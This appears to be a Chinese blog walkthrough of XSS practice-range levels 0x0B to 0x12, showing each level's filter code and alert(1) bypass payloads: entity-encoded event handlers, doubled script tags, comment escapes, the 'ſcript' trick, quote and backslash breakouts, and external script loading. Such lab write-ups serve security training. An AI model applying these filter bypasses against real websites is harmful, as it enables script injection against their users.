首页 > 其他分享 >xss.haozi.me靶场“0x0B-0x12”通关教程

xss.haozi.me靶场“0x0B-0x12”通关教程

时间:2024-03-13 10:31:24浏览次数:29  
标签:me xss 标签 0x12 replace 字符串 input 绕过 alert

君衍.

一、0x0B 实体编码绕过

我们首先构造payload进行测试:
在这里插入图片描述
这里我们可以看到全部转为了大写,查看源码:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

函数内部首先调用了 toUpperCase 方法,将 input 中的所有字符转换为大写形式。然后,使用字符串模板(template literal)构建了一个包含在 <h1> 标签中的字符串,其中 ${input} 被替换为转换为大写的 input。最终,函数返回类似于 <h1>转换为大写的输入字符串</h1> 的字符串。
这里我们需要知道,HTML不去区分大小写,但是JS区分大小写,也就是对大小写敏感,所以我们这里需要进行实体编码来进行绕过:

</h1><img src="" one rror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

在这里插入图片描述
当然我们也有别的payload可以完成触发:

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

在这里插入图片描述
同时我们也可以使用官方提供的JS,因为域名对大小写不敏感:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

在这里插入图片描述

二、0x0C script绕过

同样的,我们使用常用的payload进行测试:
在这里插入图片描述
可以看到这里依旧是进行了过滤,所以我们查看源码:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 replace 方法将输入字符串中所有的 "script" 字符串(不区分大小写)替换为空字符串,从而将所有的 "script" 字符串都移除。然后,使用 toUpperCase 方法将剩余的字符串转换为大写形式。最后,使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串,其中 input 变量被替换为移除了 "script" 字符串并转换为大写形式的字符串。
就是将输入字符串中所有的 “script” 字符串移除,并将剩余的字符串转换为大写形式,然后嵌入到一个 <h1> 标签中,返回最终的 HTML 字符串。
这里我们由源码得知将script进行了置空,置空这个我们就可以使用双写进行尝试绕过了:
(使用<scripscriptt>alert(1)</scripscriptt>进行测试)在这里插入图片描述

<scripscriptt src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>

在这里插入图片描述
当然我们也可以不适用script:

</h1><img src="" one rror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

在这里插入图片描述

三、0x0D 注释绕过

我们依旧使用最常用的payload进行测试观察回显:

<script>alert(1)</script>

在这里插入图片描述
我们可以看到这里将其注释掉了,查看源码:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

函数内部使用了正则表达式 input.replace(/[</"']/g, ''),该正则表达式匹配所有 <, /, ", ' 字符,并将它们替换为空字符串。然后,函数返回一个包含了注释和 <script> 标签的多行字符串。
所以我们需要逃逸掉注释,这里使用回车来破坏注释结构,然后再使用–>来注释掉后面的内容从而完成触发:


alert(1)
-->

在这里插入图片描述

四、0X0E ſ符号绕过

首先我们依旧使用常用的payload来测试观察回显:

<script>alert(1)</script>

在这里插入图片描述
这里我们可以看到依旧是进行了过滤,所以我们查看源码:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

函数内部首先使用正则表达式 /<([a-zA-Z])/g 进行匹配,该正则表达式匹配以 < 开头的标签名,然后将标签名的第一个字母用下划线代替,即 <_$1,其中 $1 表示正则表达式中的第一个捕获组,即匹配到的标签名的第一个字母。接着,使用 toUpperCase 方法将整个字符串转换为大写形式。最后,使用字符串拼接方式构建了一个包含在 <h1> 标签中的字符串,其中 input 变量被替换为转换为大写形式并进行标签名替换的字符串。
这里我,我们就涉及一种XSS特殊的绕过技巧,使用ſ符号来代替s,从而达到绕过的效果。

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

在这里插入图片描述

五、0x0F 编码解码

这里我们依旧使用常用的payload进行绕过:

<script>alert(1)<script>

在这里插入图片描述
可以看到这里将我们输入的内容放入了img标签中同时进行了编码。所以我们查看源码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

首先我们定义了一个函数render,用于接收input函数,包含了<img>标签的字符串,同时设置了一个onerror事件,函数内部也定义了一个内部函数escapehtml,用来转义输入的字符串中的特殊字符,使用了replace函数来替换字符中特殊的字符:

  • .replace(/&/g, '&amp;'):将 & 替换为 &amp;,以防止 HTML 实体引用问题。
  • .replace(/'/g, '&#39;'):将 ’ 替换为 &#39;,以防止单引号在 HTML 属性中引起问题。
  • .replace(/"/g, '&quot;'):将 " 替换为 &quot;,以防止双引号在 HTML 属性中引起问题。
  • .replace(/</g, '&lt;'):将 < 替换为 &lt;,以防止小于号在 HTML 中引起问题。
  • .replace(/>/g, '&gt;'):将 > 替换为 &gt;,以防止大于号在 HTML 中引起问题。
  • .replace(/\//g, '&#x2f;'):将 / 替换为 &#x2f;,以防止斜杠在 HTML 中引起问题。
    1
    最后,函数返回一个字符串模板,其中包含一个 <img> 标签,设置了一个 onerror事件处理程序,当图像加载失败时,将调用 console.error 输出转义后的输入字符串作为错误消息到控制台。
    但是这里忽略了一点,由于编码后再HTML标签当中,所以当解析代码时候,被过滤的编码字符依旧会被还原再执行,所以过滤的字符其实可以用,我们直接先完成闭合,再注释掉后面内容即可:
'); alert(1); //

在这里插入图片描述
当然,我们也可以利用后面的内容完成闭合。

'); alert('1

在这里插入图片描述

六、0x10 直接执行

本关没有做什么过滤,所以我们随便给window.date一个值完成注入:

alert(1)

在这里插入图片描述
源码如下:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

七、0x11 闭合绕过

我们直接查看源码:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

定义了一个名为 renderJavaScript 函数,该函数接受一个参数 s。还定义了一个内部函数 escapeJs,用于对输入的字符串进行 JavaScript 转义。
我们可见本关过滤了许多字符,所以我们如果要进行注入,需要先将前面函数闭合逃逸掉,我们可以,以及;将代码分隔开,再把后面注释掉即可绕过。
同时//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符:

");alert(1);//

在这里插入图片描述

");alert("1

在这里插入图片描述

八、0x12 闭合绕过

我们依旧是先查看源码:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

函数内部首先使用正则表达式 s.replace(/"/g, '\\"') 将输入字符串中的双引号 " 替换为 ",以便在 JavaScript 字符串中正确转义双引号。然后,将转义后的字符串插入到一个包含在 <script> 标签中的 JavaScript 代码中,该 JavaScript 代码使用 console.log 将转义后的字符串输出到控制台。最终,函数返回一个包含 <script> 标签的字符串,其中包含了一段 JavaScript 代码,用于输出转义后的字符串到控制台。
可以看到本关本质其实和上一关一样,就是将"替换为,防止闭合前面函数。但是我们可以通过先输入\符号将\进行转义了,这样双引号就能成功闭合了。

\");alert(1);//

在这里插入图片描述

</script><script>alert(1)</script><script>

在这里插入图片描述

标签:me,xss,标签,0x12,replace,字符串,input,绕过,alert
From: https://blog.csdn.net/weixin_63172698/article/details/136445673

相关文章

  • 【蓝牙协议栈】【Mesh】蓝牙Mesh基本概念(超详细)
    1.精讲蓝牙协议栈(BluetoothStack):SPP/A2DP/AVRCP/HFP/PBAP/IAP2/HID/MAP/OPP/PAN/GATTC/GATTS/HOGP等协议理论2.欢迎大家关注和订阅,【蓝牙协议栈】专栏会持续更新中.....敬请期待!目录1.蓝牙Mesh概念2.Mesh的配网和配置过程3.蓝牙mesh的运行原理与数据包4.网络层......
  • 42. GameOver 及 Menu 面板
    本节目标实现GameOver面板,并且在点击返回菜单之后进入Menu场景,点击Menu场景中的NewGame进入游戏开始实现GameOver面板记得给BackToStartButton添加turnbutton样式添加GameOver对象当点击醒来按钮的时候,会调用GameOverPanel.BackToStart()方法,然后广播l......
  • 【linux】HTTP资源概念;URL,URI,MIME,静态,动态,伪静态核心名词知识全面讲解
    鱼弦:公众号:红尘灯塔,CSDN内容合伙人、CSDN新星导师、51CTO(Top红人+专家博主) 、github开源爱好者(go-zero源码二次开发、游戏后端架构https://github.com/Peakchen)HTTP资源概念:HTTP资源是通过HTTP协议访问的可识别和可获取的信息。它可以是文本、图像、视频、音频、网页......
  • 07-ElementPlus组件库
    ElementPlus简介ElementPlus是饿了么团队研发的,基于Vue3的组件库准备工作:创建工程化的Vue项目选择TypeScript参照官方文档安装ElementPlus组件库(当前工程的目录下)npminstallelement-plus--savemain.ts中引入ElementPlus组件库参照官方文档//main.tsimpor......
  • Vue3 组合函数 element-plus table数据滚动播放
    Vue滚动播放组合函数import{onMounted,onUnmounted}from"vue";exportfunctioncreateScroll(tableRef){lettimer=null;functionstartScroll(){consttable=tableRef.value.layout.table.refs;consttableWrapper=table.bodyWrapper.f......
  • onnx runtime文档学习5-加速Pytorch之Pytorch推理
    网上充斥着ONNXRuntime的简单科普,却没有一个系统介绍ONNXRuntime的博客,因此本博客旨在基于官方文档进行翻译与进一步的解释。ONNXruntime的官方文档:https://onnxruntime.ai/docs/如果尚不熟悉ONNX格式,可以参照该博客专栏,本专栏对onnx1.16文档进行翻译与进一步解释,ONNX......
  • 关于树莓派5(Ubnutu 23.10和树莓派5自带的系统通用)下载时出现error: externally-manage
    一.报错产生的原因  最近作者更新了这两个系统,在作者想去安装非 Debian的库的时候总是出现以下的报错:error:externally-managed-environment这是因为树莓派5升级了服务器系统,从Debian11到了Debian12,这个服务器系统对于外接库的限制还是比较严格的。作者也按照系......
  • IfcSIUnitName
    IfcSIUnitNameTypedefinitionNOTE DefinitionaccordingtoISO/CD10303-41:1992AnSIunitnameisthenameofanSIunit.ThedefinitionsofthenamesofSIunitsarespecifiedinISO1000(clause2).NOTE Typeadaptedfrom si_unit_name definedinISO1......
  • Android Framework基础知识
    哈喽大家好,我是Zzz.给大家分享一篇Framework入门的基础知识文章,内容纯纯原创。一、Application,Activity和进程的关系?  Application、Activity只是进程虚拟机运行的一个类对象,只是属于系统的一个组件和进程没有直接联系。Android支持为每个组件可以单独进程方式运行。 ......
  • [Rust] Thread 5: Message passing by using channel
    Achannelhastwohalves:atransmitterandareceiver.Thetransmitterhalfistheupstreamlocationwhereyouputrubberducksintotheriver,andthereceiverhalfiswheretherubberduckendsupdownstream.Onepartofyourcodecallsmethodsonthe......